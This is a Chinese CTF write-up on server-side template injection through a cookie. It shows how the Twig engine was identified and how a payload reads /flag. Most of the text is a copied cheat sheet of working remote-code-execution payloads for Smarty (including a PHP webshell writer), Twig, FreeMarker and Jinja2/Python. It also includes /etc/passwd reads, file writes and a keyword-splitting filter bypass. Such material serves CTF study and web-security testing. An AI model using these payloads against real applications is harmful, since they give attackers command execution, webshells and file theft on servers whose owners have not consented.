前言:
这题主要是考 ssti 模板注入。通过这题我学习到了如何判定它使用的是何种 模板引擎,以及重温了很久以前用过的ssti利用工具【tplmap】,记录一下别又忘记了。
解题过程
- 发现 flag选项,进入后发现输入username后有回显hello username 。猜想是 ssti 注入漏洞,输入4 返回了4。但是当我们进一步执行时,会被检测到报错。
- 看题目说是cookie 而且 hint 下也有提示 cookie。bp抓包发现注入点 user。
- 判断其模板引擎类型方法如图:
其中红线是执行失败所对应的下一步测试方式。 我们输入{{7*'7'}}
发现返回 49,那么它应该是Twig模板引擎。 - 知道了模板引擎是 Twig 后,我们搜搜它的利用payload为:最后我们使用的payload是:
1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
当然flag在根目录下是猜的,我们使用命令返回的结果只有第一项。1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
常用的ssti的payload
要一下子弄清原理还是有困难呀,我还是想抄记一波(当然可能会被ban)。
- Smarty拿取webshell
1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
- Twig 命令执行
1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
- freeMarker
1
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
- python
1
2
3
4
5{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}1
2
3
4
5
6
7
8
9
10
11{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("dir").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %} - Jinjia2模板引擎通用的RCE Payload:
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
- python2
1
2
3
4
5
6
7
8
9
10
11
12
13# 读
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# 写
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}
####执行命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__
下有eval,__import__等的全局函数,可以利用此来执行命令:
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() - python3
1
2
3
4
5
6
7
8
9
10
11
12#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
####在本地python中测试
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls') - 添加一个flask的命令执行payload:就是拆分关键词进行绕过
1
2
3
4
5
6
7
8
9
10
11{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}